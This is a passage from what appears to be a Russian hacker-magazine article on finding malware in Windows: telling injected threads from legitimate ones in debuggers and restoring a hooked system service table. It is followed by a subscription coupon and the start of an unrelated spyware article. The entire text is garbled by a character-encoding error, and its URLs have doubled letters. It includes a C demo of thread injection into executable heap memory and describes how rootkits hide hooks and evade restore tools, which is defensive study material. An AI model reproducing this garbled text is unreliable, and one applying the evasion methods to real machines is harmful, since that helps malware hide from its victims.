ìûõ ôàéëîâ èëè äèíàìè÷åñêèõ áèáëèîòåê.

Â PE-TOOLS äëÿ òîé æå öåëè íåîáõîäèìî
âûäåëèòü ïðîöåññ è â êîíòåêñòíîì ìåíþ âûáðàòü
«dump region», ïðè ýòîì íà ýêðàíå ïîÿâèòñÿ äèà-
ëîãîâîå îêíî ñ êàðòîé ïàìÿòè — íå òàê ïîäðîáíî
êàê ó OllyDbg, íî äëÿ íàøåé çàäà÷è âïîëíå óäîâëå-
òâîðèòåëüíî.

Äëÿ äàëüíåéøèõ ýêñïåðèìåíòîâ ïîíàäîáèò-
ñÿ ïðîãðàììà, ñîçäàþùàÿ ïàðó ïîòîêîâ — «÷åñò-
íûì» è «íå÷åñòíûì» ïóòåì. 

èñõîäíûé êêîä ääåìîíñòðàöèîííîé ïïðîãðàììû 
(ñ îîïóùåííîé îîáðàáîòêîé îîøèáîê èè ääðóãèõ èèñêëþ-
÷èòåëüíûõ ññèòóàöèé), ïïîëíàÿ ââåðñèÿ —— ííà ääèñêå
#include <stdio.h>

#include <windows.h>

// êîä ïîòîêà, êîòîðûé íè÷åãî íå äåëàåò, 

à òîëüêî ìîòàåò öèêë

thread(){while(1);}

main()

{

void *p; // ïåðåìåííàÿ 

ìíîãîöåëåâîãî íàçíà÷åíèÿ

// ñîçäàåì «÷åñòíûé» ïîòîê

CreateThread(0,0,(void*)&thread,

0x999,0,&p);

// ñîçäàåì «íå÷åñòíûé» ïîòîê òàê, 

êàê ýòî äåëàåò malware:

// âûäåëÿåì áëîê ïàìÿòè èç êó÷è, 

êîïèðóåì òóäà êîä ïîòîêà

// è âûçûâàåì CreateThread

p = VirtualAlloc(0, 0x1000, MEM_COMMIT, 

PAGE_EXECUTE_READWRITE);

memcpy(p,thread,0x1000);CreateThread

(0,0,p,0x666,0,&p);

// æäåì íàæàòèÿ íà ENTER

gets(&p);

}

Êîìïèëèðóåøü ñ íàñòðîéêàìè ïî óìîë÷àíèþ, çàïó-
ñêàåøü, çàõîäèøü â soft-ice, äàåøü êîìàíäó «THRE-
AD -x» (âûâîä äåòàëüíîé èíôîðìàöèè î ïîòîêàõ) 
ñìîòðèøü ïîëó÷åííûé ðåçóëüòàò (ñìîòðè ëèñòèíã1).

Soft-ice íå ñìîã îïðåäåëèòü èñòèííûå ñòàð-
òîâûå àäðåñà ïîòîêîâ, çàáëóäèâøèñü â íåäðàõ
KERNEL32.DLL. ×òî æ, ïîïðîáóåì äðóãîé èíñòðó-
ìåíò — Process Explorer îò Ìàðêà Ðóññèíîâè÷à,
âåñüìà íåïëîõî ðàçáèðàþùåãîñÿ âî âíóòðåííî-
ñòÿõ îïåðàöèîííûõ ñèñòåì îò Microsoft (è äàæå
ó÷àñòâóþùåãî â íàïèñàíèè êíèãè «Windows NT In-
ternals»). Ñêà÷èâàåøü (ñîâåðøåííî áåñïëàòíî)
Process Explorer, çàïóñêàåøü, íàâîäèøü êóðñîð íà
«va_thread.exe» (èëè êàê íàçâàë äåìîíñòðàöèîí-
íóþ ïðîãðàììó), äàëåå â êîíòåêñòíîì ìåíþ âûáè-
ðàåøü ïóíêò «Properties» è â îòêðûâøåìñÿ äèàëî-
ãîâîì îêíå ïåðåõîäèøü ê âêëàäêå «Threads».

×òî âèäèì? Àäðåñà äâóõ ïîòîêîâ îïðåäåëå-
íû âåðíî. Ïåðâûé: va_thread.exe+0x1405, ñóäÿ ïî
àäðåñó, ïðåäñòàâëÿåò îñíîâíîé ïîòîê (àäðåñ ñîâ-
ïàäàåò ñ òî÷êîé âõîäà, ÷òî ëåãêî ïðîâåðèòü â hi-
ew'å). Âòîðîé: va_thread.exe+0x1000 — ýòî «÷åñò-
íî» ñîçäàííûé ïîòîê (÷òî, îïÿòü-òàêè, ïðîâåðÿåò-
ñÿ ïî àäðåñó â hiew'å), à âîò òðåòèé — KER-
NEL32.DLL+0xB700 — ýòî «íå÷åñòíûé» ïîòîê (à
÷åì îí åùå ìîæåò áûòü), òîëüêî åãî ñòàðòîâûé àä-
ðåñ îïðåäåëåí íåïðàâèëüíî!

Ïðèçûâàåì íà ïîìîùü OllyDbg è ïûòàåìñÿ
ðàçîáðàòüñÿ â ñèòóàöèè ñàìîñòîÿòåëüíî, áåç âñåõ
ýòèõ ïðåëåñòåé àâòîìàòèçàöèè è ïðî÷èõ ÷óäåñ òåõ-
íè÷åñêîãî ïðîãðåññà. Ïîäêëþ÷èâøèñü ê ïðîöåññó
va_thread.exe, â ìåíþ «view» âûáèðàåøü ïóíêò
«thread» è... îáíàðóæèâàåøü íå òðè (êàê îæèäà-
ëîñü), à öåëûõ ÷åòûðå ïîòîêà (ñìîòðè ëèñòèíã 2)!

Ñòàðòîâûé àäðåñ (entry) îïðåäåëåí òîëüêî äëÿ
îäíîãî èç ïîòîêîâ — 50Ch, äà è òîò, âåðîÿòíî, ñëó-
æèò äëÿ ñâÿçêè îòëàæèâàåìîãî ïðîöåññà ñ OllyDbg.
Ñòàðòîâûå àäðåñà îñòàëüíûõ ïîòîêîâ âûñòàâëåíû â
íîëü, íî âåäü ýòî æå íå òàê... Ùåëêàåøü ìûøüþ ïî
ïîòîêó c èäåíòèôèêàòîðîì 558h (åñòåñòâåííî, ïðè
ñëåäóþùåì çàïóñêå ïðîãðàììû èäåíòèôèêàòîðû
ïîòîêîâ áóäóò äðóãèìè) è ïîëó÷àåøü êîä, êîòîðûé
(ñóäÿ ïî êàðòå ïàìÿòè) ïðèíàäëåæèò ñòðàíè÷íîìó
èìèäæó, ñëåäîâàòåëüíî, ýòî — ëåãàëüíûé ïîòîê.
(ñìîòðè ëèñòèíã  3).

Ïåðåõîäè ê îêíó ñòåêà, ïåðåìåùàÿ ïîëçóíîê
â ñàìûé íèç. Íà äíå ñòåêà óâèäèøü àðãóìåíò, ïåðå-
äàííûé ïîòîêó (âòîðîå äâîéíîå ñëîâî, â äàííîì
ñëó÷àå ðàâíîå 999h), è ñòàðòîâûé àäðåñ ïîòîêà
(ëåæàùèé â òðåòüåì äâîéíîì ñëîâå è â äàííîì
ñëó÷àå ðàâíûé 401000h), ÷òî âåðíî (íà ñàìîì äå-
ëå, â çàâèñèìîñòè îò ñïîñîáà ñîçäàíèÿ ïîòîêà,
ñòàðòîâûé àäðåñ ìîæåò ëåæàòü êàê â òðåòüåì, òàê

è âî âòîðîì ñëîâå, ïîýòîìó àâòîìàòè÷åñêèå óòèëè-
òû è ïóòàþòñÿ).

Ïåðåõîäè ê ñëåäóþùåìó ïîòîêó — 55Ch. Êîä
âûãëÿäèò òàê æå, êàê ðàíüøå (âåäü çàïóñòèëè äâà ýê-
çåìïëÿðà îäíîé è òîé æå ôóíêöèè), à âîò ñîäåðæè-
ìîå äíà ñòåêà ñëåãêà èçìåíèëîñü (ñìîòðè ëèñòèíã 4).

666h — ýòî àðãóìåíòû, ïåðåäàííûå «íå÷åñò-
íîé» êîïèè ïîòîêà, à 520000h — åãî ñòàðòîâûé àä-
ðåñ, ïðèíàäëåæàùèé (åñëè âåðèòü êàðòå ïàìÿòè)
áëîêó ïàìÿòè, âûäåëåííîìó ôóíêöèåé VirtualAlloc
(ñìîòðè ëèñòèíã 5).

Ïîñëåäíèé ïîòîê — 578h, ïðåäñòàâëÿåò ñî-
áîé îñíîâíîé ïîòîê ïðîãðàììû è õðàíèò ñâîé ñòàð-
òîâûé àäðåñ íå â òðåòüåì, à âî âòîðîì (!) äâîéíîì
ñëîâå (ñìîòðè ëèñòèíã 6).

Èòàê, ìû íàó÷èëèñü áûñòðî è ïðîñòî îïðåäå-
ëÿòü ñòàðòîâûå àäðåñà ïîòîêîâ, ÷åòêî îòëè÷àÿ
«ëåâûõ» îò «ïðàâûõ». Êñòàòè, ÷òîáû êàæäûé ðàç
íå ñâåðÿòüñÿ ñ êàðòîé ïàìÿòè, ìîæíî èñïîëüçî-
âàòü ñëåäóþùèé òðþê. Åñëè ïðè íàæàòèè ñòàðòî-
âîãî àäðåñà â êîíòåêñòíîì ìåíþ OllyDbg ïðèñóò-
ñòâóåò ñòðî÷êà «Follow in Disassembler» — îí ïðè-
íàäëåæèò ñòðàíè÷íîìó èìèäæó (òî åñòü ëåãàëüíî-
ìó ïîòîêó) è, ñîîòâåòñòâåííî, íàîáîðîò.

Íà ñàìîì äåëå, ïðàçäíîâàòü ïîáåäó åùå ðà-
íî. Óìíàÿ ìàëâàðü ìîæåò íàñ ëåãêî îáìàíóòü. Ñàì-
îå ïðîñòîå — ïîäìåíèòü èñòèííûé ñòàðòîâûé àä-
ðåñ òàê, ÷òîáû îí óêàçûâàë âíóòðü ñòðàíè÷íîãî
èìèäæà öåëåâîãî ïðîöåññà (íî â ýòîì ñëó÷àå îí
äîëæåí ñîâïàäàòü ñ íà÷àëîì êàêîé-íèáóäü ïðîöå-
äóðû, èíà÷å ìû òóò æå ðàçîáëà÷èì îáìàí). Áîëåå
óìíàÿ ìàëâàðü èñïîëüçóåò õèòðûé ñïîñîá âíåäðå-
íèÿ — íàõîäèò â öåëåâîì ïðîöåññå ôóíêöèþ ïî
ñòàíäàðòíîìó ïðîëîãó PUSH EBP/MOV EBP, ESP
(55h/8Bh ECh), âñòàâëÿåò â åå íà÷àëî jump íà âûäå-
ëåííûé èç êó÷è áëîê, ãäå ðàçìåùåíî åå òåëî, ñîç-
äàåò íîâûé ïîòîê, íà÷èíàþùèéñÿ ñ jump, è òóò æå
âîññòàíàâëèâàåò îðèãèíàëüíîå ñîäåðæèìîå õàêíó-
òîé ôóíêöèè, óáèðàÿ jump è âîçâðàùàÿ ñòàíäàðò-
íûé ïðîëîã. Åùå îñòàåòñÿ âàðèàíò çàãðóçêè âíóòðü
ïðîöåññà äèíàìè÷åñêîé áèáëèîòåêè, ïðèíàäëåæà-
ùåé ìàëâàðè, è çàïóñê âíóòðè íåå íîâîãî ïîòîêà.

Âî âñåõ ýòèõ ñëó÷àÿõ àíàëèç ñòàðòîâîãî àä-
ðåñà íå äàñò íèêàêîãî ðåçóëüòàòà, è âíåäðåíèå
çëîâðåäíîãî êîäà îñòàíåòñÿ íåçàìå÷åííûì. ×òî-
áû áûòü óâåðåííûì íà âñå 100%, íåîáõîäèìî
òðàññèðîâàòü êàæäûé èç ïîòîêîâ íà ïðåäìåò ïðî-
âåðêè åãî ëîÿëüíîñòè. Ïîòîêè, ïîðîæäåííûå ìàë-
âàðüþ, ëèáî øïèîíÿò çà êëàâèàòóðîé, ëèáî îòêðû-
âàþò backdoor, ëèáî ðàññûëàþò ñïàì. Ïðîáëåìà â
òîì, ÷òî ïîòîêîâ (ëåãàëüíûõ) î÷åíü ìíîãî, à ñî-
âðåìåííàÿ ìàëâàðü ïèøåòñÿ óæå íå íà àññåìáëå-
ðå, à ÷åðò çíàåò íà ÷åì (DELPHI, Visual BASIC). 
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È ïîëíûé àíàëèç ïîòðåáóåò óéìó âðåìåíè, îäíà-
êî, êàê ãîâîðèëîñü âûøå, óìíàÿ ìàëâàðü — áîëü-
øàÿ ðåäêîñòü, è ïîääåëêîé ñòàðòîâûõ àäðåñîâ ïî-
òîêîâ íèêòî íå çàíèìàåòñÿ.

âîññòàíîâëåíèå SSST. Äëÿ ñîêðûòèÿ ñâîåãî
ïðèñóòñòâèÿ â ñèñòåìå ìàëâàðü íåðåäêî âíåäðÿ-
åòñÿ â åå ÿäðî è ïåðåõâàòûâàåò îäèí èëè íåñêîëü-
êî ñåðâèñîâ, íàïðèìåð, ôóíêöèþ NtQuerySyste-
mInformation. 

Äèçàññåìáëèðîâàíèå NTDDLL.DLL ïîêàçûâàåò,
÷òî áîëüøèíñòâî íèçêîóðîâíåâûõ ôóíêöèé ðåàëèçî-
âàíû êàê «ïåðåõîäíèêè» ê ôóíêöèÿì ÿäðà, èíòåðôåéñ
ñ êîòîðûì îñóùåñòâëÿåòñÿ ëèáî ïîñðåäñòâîì ïðåðû-
âàíèÿ INT 2Eh (NT, W2K), ëèáî ìàøèííîé êîìàíäîé
SYSENTER (XP è âûøå) (ñìîòðè ëèñòèíã 7).

Êîãäà ïðîèñõîäèò âûçîâ ïðåðûâàíèÿ, ïðî-
öåññîð àâòîìàòè÷åñêè ïåðåêëþ÷àåòñÿ ñ ïðèêëàä-
íîãî óðîâíÿ (ring 3) â ðåæèì ÿäðà (ring 0), ïåðåäà-
âàÿ óïðàâëåíèå ôóíêöèè KiSystemService, ðåàëè-
çîâàííîé âíóòðè NTOSKRNL.EXE è îïèðàþùåéñÿ
íà Òàáëèöó Ñèñòåìíûõ Äåñêðèïòîðîâ (îíà æå SDT —
System Descriptor Table). Ñîáñòâåííî äåñêðèïòî-
ðîâ â íåé âñåãî äâà — îäèí äëÿ ñèñòåìíûõ âûçî-
âîâ, äðóãîé — äëÿ äðàéâåðà win32k.sys, êóäà óïðÿ-
òàëè âåñü ãðàôè÷åñêèé èíòåðôåéñ. Íà ñåðâåðàõ
äîáàâëÿåòñÿ è òðåòèé äåñêðèïòîð — IIS, íàçíà÷å-
íèå êîòîðîãî ÿñíî èç íàçâàíèÿ.

Äåñêðèïòîð, îòâå÷àþùèé çà ñèñòåìíûå âû-
çîâû, óêàçûâàåò íà System Service Table (Òàáëèöó
Ñèñòåìíûõ Âûçîâîâ), ïðåäñòàâëÿþùóþ ñîáîé
ïðîñòîé ìàññèâ óêàçàòåëåé íà ôóíêöèè, êîòîðûå
î÷åíü ëåãêî èçìåíèòü (åñòåñòâåííî, äåëàòü ýòî
íóæíî ëèáî èç ðåæèìà ÿäðà, ëèáî ñ ïðèêëàäíîãî
óðîâíÿ, îáðàòèâøèñü ê ïñåâäîóñòðîéñòâó Physical-
Memory). Íàéòè òàáëèöó ñèñòåìíûõ âûçîâîâ â ïà-
ìÿòè î÷åíü ïðîñòî. «Ñêàðìëèâàåøü» NTOSKRNL.EXE

ôóíêöèè LoadLibrary è, èñïîëüçóÿ âîçâðàùåííûé
åé äåñêðèïòîð, îïðåäåëÿåøü àäðåñ ýêñïîðòèðóå-
ìîé ïåðåìåííîé KeServiceDescriptorTable ÷åðåç
GetProcAddress (èëè ðàçáèðàåøü òàáëèöó ýê-
ñïîðòà âðó÷íóþ). Ïåðâîå æå äâîéíîå ñëîâî ñî-
äåðæèò óêàçàòåëü íà SST, ïîýòîìó ýôôåêòèâíûé
àäðåñ òðåáóåìîãî ñèñòåìíîãî ñåðâèñà ïî åãî
«ìàãè÷åñêîìó» íîìåðó îïðåäåëÿåòñÿ òàê: addr ==
*(DWORD *)(KeServiceDescriptorTable[0] + N*siz-
eof(DWORD)). Ãäå N — íîìåð ñåðâèñà, à addr —
åãî ýôôåêòèâíûé àäðåñ (ñìîòðè ëèñòèíã 8).

×òîáû ïðîñìîòðåòü ñîäåðæèìîå SST â soft-
ice, äîñòàòî÷íî äàòü êîìàíäó «NTCALL». Íà «ñòå-
ðèëüíîé» ìàøèíå âñå âûçîâû óêàçûâàþò âíóòðü
NTOSKRNL.EXE, à åñëè ýòî íå òàê, òî èõ êòî-òî ïå-
ðåõâàòèë. Ýòî ìîæåò áûòü êàê çëîâðåäíàÿ ìàëâàðü,
òàê è âïîëíå áåçîáèäíûé äðàéâåð êàêîãî-íèáóäü
çàùèòíîãî ìåõàíèçìà èëè, íàïðèìåð, áðàíäìàóýð.

Äëÿ âîññòàíîâëåíèÿ SST ìîæíî èñïîëüçîâàòü
êîïèþ, õðàíÿùóþñÿ âíóòðè NTOSKRNL.EXE, ïðà-
âäà, íàéòè åå íà äèñêå çíà÷èòåëüíî ñëîæíåå, ÷åì â
ïàìÿòè. Ïðîùå âñåãî èñïîëüçîâàòü îòëàäî÷íûå
ñèìâîëû, êîòîðûå ìîæíî áåñïëàòíî çàãðóçèòü ñ
ñåðâåðà http://msdl.microsoft.com/download/symbols ñ ïî-
ìîùüþ áèáëèîòåêè dbghelp.dll, âõîäÿùåé â ñîñòàâ
áåñïëàòíîãî ïàêåòà Debugging Tools. Àäðåñó SST ñî-
îòâåòñòâóåò ìåòêà _KiServiceTable  (ñìîòðè ëèñòèíã 9).

À åñëè îòëàäî÷íûõ ñèìâîëîâ íåò? Òîãäà íàõî-
äèøü âñå ïåðåêðåñòíûå ññûëêè ê KeServiceDescrip-
torTable (òî åñòü ïðîñòî èùåøü åå àäðåñ, çàïèñàí-
íûé ñ ó÷åòîì îáðàòíîãî ïîðÿäêà áàéò íà x86, çàäîì
íàïåðåä). Îäíà èç íèõ âåäåò ê èíñòðóêöèè òèïà «mov
[mem], imm32» è ïðåäñòàâëÿåò ñîáîé ñìåùåíèå îðè-
ãèíàëüíîé SST (imm32), çàïèñûâàåìîé â KeService-
DescriptorTable[0]. Ñ ïîìîùüþ äèçàññåìáëåðà íå-
òðóäíî óáåäèòüñÿ, ÷òî èçíà÷àëüíî SDT ïóñòà è èíè-
öèàëèçèðóåòñÿ íà ñòàäèè çàãðóçêè ÿäðà íåýêñïîðòè-
ðóåìîé ôóíêöèåé KiInitSystem (ñìîòðè ëèñòèíã 10).

Åñëè ëåíü âîññòàíàâëèâàòü SST âðó÷íóþ,
ìîæíî âîñïîëüçîâàòüñÿ áåñïëàòíîé óòèëèòîé
«Win2K/XP SDT Restore» îò Tan Chew Keong.

Ïîëüçóÿñü SDT Restore, ñëåäóåò èìåòü ââè-
äó, ÷òî óæå ïîÿâèëèñü rootkit'û, ñïîñîáíûå åå îá-
õîäèòü. Âî-ïåðâûõ, äëÿ ïîèñêà îðèãèíàëüíîé SST
óòèëèòà SDT Restore èñïîëüçóåò ïðîñòîé, íî íåíà-
äåæíûé ñïîñîá, îáðàùàÿñü ê KeServiceDescriptor-
Table[0], êîòîðóþ çëîâðåäíàÿ ìàëâàðü ìîæåò è
ïîäìåíèòü (ñìîòðè http://hi-tech.nsys.by/35/). Âî-âòî-
ðûõ, ñàìî âîññòàíîâëåíèå SST ïðîèñõîäèò ñ ïðè-
êëàäíîãî óðîâíÿ ÷åðåç ïñåâäîóñòðîéñòâî Physical-
Memory, îòîáðàæàåìîå â ïàìÿòü ïîñðåäñòâîì na-
tive-API ôóíêöèè NtMapViewOfSection, ëåãêî ïå-

ðåõâàòûâàåìîé êàê ñ ïðèêëàäíîãî, òàê è ñ ÿäðåíî-
ãî óðîâíåé. Ïîñëå ÷åãî ïåðåõâàò÷èêó îñòàåòñÿ
ïðîâåðèòü, íå âûçûâàåòñÿ ëè NtMapViewOfSection
ñ äåñêðèïòîðîì PhysicalMemory. È åñëè äà, òî ëè-
áî çàáëîêèðîâàòü äîñòóï, ëèáî èìèòèðîâàòü âîñ-
ñòàíîâëåíèå, íå ïðîèçâîäÿ åãî â äåéñòâèòåëüíî-
ñòè (ñìîòðè www.rootkit.com/newsread.php?newsid=200).

Òàê æå ñëåäóåò ó÷èòûâàòü, ÷òî íåêîòîðûå çà-
ùèòû «âåøàþòñÿ» íà âåêòîðû ïðåðûâàíèé, îïèñàí-
íûå â òàáëèöå IDT, è ïðîâåðÿþò ïåðåõâà÷åííûå ñåð-
âèñû, íàïðèìåð, êàæäûé òèê òàéìåðà. Â ïðàâèëüíîé
IDT (ïðîñìîòðåòü êîòîðóþ ìîæíî îäíîèìåííîé êî-
ìàíäîé â soft-ice) âñå âåêòîðû óêàçûâàþò âíóòðü
NTOSKRNL.EXE èëè HAL.DLL (ñìîòðè ëèñòèíã 11).

Â äîïîëíåíèå ê ýòîìó, ìàëâàðü ìîæåò óñòàíà-
âëèâàòü â íà÷àëî (èëè äàæå ñåðåäèíó!) íåêîòîðûõ
ÿäåðíûõ ôóíêöèé jump ñâîé îáðàáîò÷èê, êîíòðîëè-
ðóþùèé öåëîñòíîñòü ïåðåõâà÷åííîé SST/IDT. Äëÿ
âûÿâëåíèÿ òàêîãî ñïîñîáà ïåðåõâàòà íåîáõîäèìî
ñðàâíèòü îáðàç ÿäðà ñ ôàéëîì NTOSKRNL.EXE,
÷òî ìîæíî îñóùåñòâèòü ïðè ïîìîùè óòèëèòû PE-
TOOLS ñ ïëàãèíîì eXtreme Dumper èëè ñäàìïèòü
ÿäðî íåïîñðåäñòâåííî èç ñàìîãî soft-ice (÷òî íàì-
íîãî íàäåæíåå) ñ óñòàíîâëåííûìè ðàñøèðåíèÿìè
IceExt èëè IceDump.

â îîñòàòêå. Äâà îñíîâíûõ ïóòè ïðîíèêíîâåíèÿ
ìàëâàðè íà êîìïüþòåð — ôàéëû, çàïóñêàåìûå
ñàìèì ïîëüçîâàòåëåì, è äûðÿâîå ïðîãðàììíîå
îáåñïå÷åíèå (ïîñëåäíåå ïðåèìóùåñòâåííî îòíî
ñèòñÿ ê IE è ëèíåéêå NT). È åñëè ïåðâîå åùå ìîæ-
íî êàê-òî ïðåäîòâðàòèòü — íå îòêðûâàòü ïîòåí-
öèàëüíî îïàñíûõ âëîæåíèé, ïîëó÷åííûõ ïî ïî÷òå,
ïîëüçîâàòüñÿ ïðèëîæåíèÿìè òîëüêî îò ïðîâåðåí-
íûõ ïîñòàâùèêîâ, íå ñêà÷èâàòü crack'è, íàïèñàí-
íûå íåïîíÿòíî êåì è íåèçâåñòíî äëÿ ÷åãî, òî îò
äûð íèêóäà íå óéòè. Äàæå åñëè ïåðåñåñòü ñ IE íà
Lynx, îñòàíóòñÿ äåôåêòû îñè, êîèõ â NT ïðîñòî äî
ôèãà, è ê êîòîðûì ïîñòîÿííî äîáàâëÿþòñÿ íîâûå,
ðàíåå íåèçâåñòíûå. Òî åñòü ýòî íàì îíè íåèçâåñò-
íûå, à êîìó-òî î÷åíü äàæå õîðîøî èçâåñòíûå è ýê-
ñïëóàòèðóåìûå. Íèêòî íå ìîæåò ÷óâñòâîâàòü ñåáÿ
â áåçîïàñíîñòè, åñëè íå áóäåò ðåãóëÿðíî ïðîâå-
ðÿòü âñå çàêîóëêè ñèñòåìû ðóêàìè è, êîíå÷íî, ìî-
ãó÷èì soft-ice ñî âñåé åãî ñâèòîé

wwwwww..rruunnttiimmee..oorrgg//ggddbbnntt..zziipp
ntexplorer

wwwwww..oollllyyddbbgg..ddee
ollydbg

wwwwww..ssyyssiinntteerrnnaallss..ccoomm//uuttiilliittiieess//pprroocceesssseexxpplloorreerr..hhttmmll
process explorer

hhttttpp::////sstteennrrii..ppiisseemm..nneett
iceext

hhttttpp::////pprrooggrraammmmeerrssttoooollss..oorrgg//ssyysstteemm//ffiilleess??ffiillee==iicceedduummpp66..002266..zziipp
icedum

wwwwww..wwaassmm..rruu//bbaaiixxaaddoo..pphhpp??mmooddee==ttooooll&&iidd==112244
pe-tools (base)

hhttttpp::////nneeooxx..iiaattpp..bbyy
pe-tools (updates)

hhttttpp::////nneeooxx..iiaattpp..bbyy//eexxttrreemmeedduummppeerr..zziipp
extremedumper

wwwwww..sseeccuurriittyy..oorrgg..ssgg//ccooddee//ssddttrreessttoorree..hhttmmll
sdt restore
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Ðåçóëüòàò ðàáîòû SDT Restore 
íà çàðàæåííîé ìàøèíå

ÄËß ÑÎÊÐÛÒÈß ÑÂÎÅÃÎ ÏÐÈÑÓÒÑÒÂÈß Â ÑÈÑÒÅÌÅ ÌÀËÂÀÐÜ 
ÂÍÅÄÐßÅÒÑß Â ÅÅ ßÄÐÎ È ÏÅÐÅÕÂÀÒÛÂÀÅÒ ÎÄÈÍ ÈËÈ 
ÍÅÑÊÎËÜÊÎ ÑÅÐÂÈÑÎÂ



ïðîøó îôîðìèòü ïîäïèñêó:
íà æóðíàë Õàêåð Ñïåö + CD
íà êîìïëåêò Õàêåð Ñïåö + Õàêåð + Æåëåçî

íà ìåñÿöåâ
íà÷èíàÿ ñ 200   ã.

Äîñòàâëÿòü æóðíàë ïî ïî÷òå íà äîìàøíèé àäðåñ
Äîñòàâëÿòü æóðíàë êóðüåðîì íà àäðåñ îôèñà

(ïî ã. Ìîñêâå)
Ïîäðîáíåå î êóðüåðñêîé äîñòàâêå ÷èòàéòå íèæå*
(îòìåòüòå êâàäðàò âûáðàííîãî âàðèàíòà ïîäïèñêè)

Ô.È.Î.

äàòà ðîæäåíèÿ
àäðåñ äîñòàâêè:
èíäåêñ
îáëàñòü/êðàé
ãîðîä
óëèöà
äîì êîðïóñ
êâàðòèðà/îôèñ
òåëåôîí ( )
e-mail
ñóììà îïëàòû

*Êóðüåðñêàÿ äîñòàâêà îñóùåñòâëÿåòñÿ òîëüêî ïî Ìîñêâå íà àäðåñ îôèñà.
Äëÿ îôîðìëåíèÿ äîñòàâêè êóðüåðîì óêàæèòå àäðåñ è íàçâàíèå ôèðìû â
ïîäïèñíîì êóïîíå.

ïîäïèñíîé êóïîí

ñýêîíîìü 
äåíüãè —
çàêàæè æóðíàë 
â ðåäàêöèè

ñòîèìîñòü çàêàçà
íà Õàêåð Ñïåö + CD

6 ìåñÿöåâ 12 ìåñÿöåâ
900 ðóá. 00 êîï. 1740 ðóá. 00 êîï.

ñòîèìîñòü çàêàçà
íà êîìïëåêò
Õàêåð Ñïåö +
Õàêåð + Æåëåçî

6 ìåñÿöåâ 12 ìåñÿöåâ
2550 ðóá. 00 êîï. 5040 ðóá. 00 êîï.

ÊÀÊ ÎÔÎÐÌÈÒÜ ÇÀÊÀÇ
1 Çàïîëíèòü êóïîí è êâèòàíöèþ.
2 Ïåðå÷èñëèòü ñòîèìîñòü ïîäïèñêè ÷åðåç ëþáîé áàíê. 
3 Îáÿçàòåëüíî ïðèñëàòü â ðåäàêöèþ êîïèþ îïëà÷åííîé êâèòàíöèè 

ñ ÷åòêî çàïîëíåííûì êóïîíîì ëþáûì èç ïåðå÷èñëåííûõ ñïîñîáîâ: 

— ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 

— ïî ôàêñó: (495) 780-88-24;

— ïî àäðåñó: 119021, Ìîñêâà, óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44-45, 
ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

Âíèìàíèå!
Ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.

— êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, 
îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.

— êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ 
â òå÷åíèå 20 äíåé.

Ðåêîìåíäóåì èñïîëüçîâàòü ýëåêòðîííóþ ïî÷òó èëè ôàêñ.
Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí
êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó 
â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.

ÏÎÄÏÈÑÊÀ ÄËß ÞÐÈÄÈ×ÅÑÊÈÕ ËÈÖ
Ìîñêâà: ÎÎÎ «ÈÍÒÅÐ-ÏÎ×ÒÀ» (495) 500-00-60 www.interpochta.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñêè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì æóðíàëà, 
ïåðèîäîì ïîäïèñêè, áàíêîâñêèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷òîâûì àäðåñîì, òåëåôîíîì
è ôàìèëèåé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.

ÂÛÃÎÄÀ
Öåíà ïîäïèñêè äî 15% íèæå, 
÷åì â ðîçíè÷íîé ïðîäàæå
Áîíóñû, ïðèçû è ïîäàðêè äëÿ ïîäïèñ÷èêîâ
Äîñòàâêà çà ñ÷åò ðåäàêöèè

ÃÀÐÀÍÒÈß
Òû ãàðàíòèðîâàííî ïîëó÷èøü 
âñå íîìåðà æóðíàëà 
Åäèíàÿ öåíà ïî âñåé Ðîññèè

ÑÅÐÂÈÑ
Çàêàç óäîáíî îïëàòèòü ÷åðåç ëþáîå 
îòäåëåíèå áàíêà
Äîñòàâêà îñóùåñòâëÿåòñÿ çàêàçíîé 
áàíäåðîëüþ èëè êóðüåðîì

ÏÎ ÂÑÅÌ ÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ Ñ ÏÎÄÏÈÑÊÎÉ, ÇÂÎÍÈÒÅ ÏÎ
ÁÅÑÏËÀÒÍÛÌ ÒÅËÅÔÎÍÀÌ: 8(495)780-88-29 (ÄËß ÌÎÑÊÂÈ×ÅÉ) 
È 8(800)200-3-999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÑÅ ÂÎÏÐÎÑÛ ÏÎ ÏÎÄÏÈÑÊÅ ÌÎÆÍÎ ÏÐÈÑÛËÀÒÜ 
ÍÀ ÀÄÐÅÑ: info@glc.ru
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Spyware è adware — ãëàâíûå âðàãè ñîâðåìåííîãî
ïîëüçîâàòåëÿ Ñåòè. Èíôîðìàöèÿ î òîì, íà êàêèõ
ñàéòàõ îòâèñàåò ñðåäíåñòàòèñòè÷åñêèé èíòåðíåò-
÷èê òîé èëè èíîé ñòðàíû, î÷åíü äîðîãî ñòîèò. Åùå
áîëüøå öåíèòñÿ âîçìîæíîñòü õîòü íà íåñêîëüêî
ñåêóíä «âïàðèòü» þçåðó ðåêëàìíûé ðîëèê ñâîåãî
òîâàðà. Çà ýòî ãîòîâû õîðîøî ïëàòèòü êàê îãðîì-
íûå êîðïîðàöèè, òàê è ìàëåíüêèå ôèðìî÷êè ñ
áîëüøèìè àìáèöèÿìè.

Íî ìíîãèì ëþäÿì íå íðàâèòñÿ, ÷òî çà íèìè
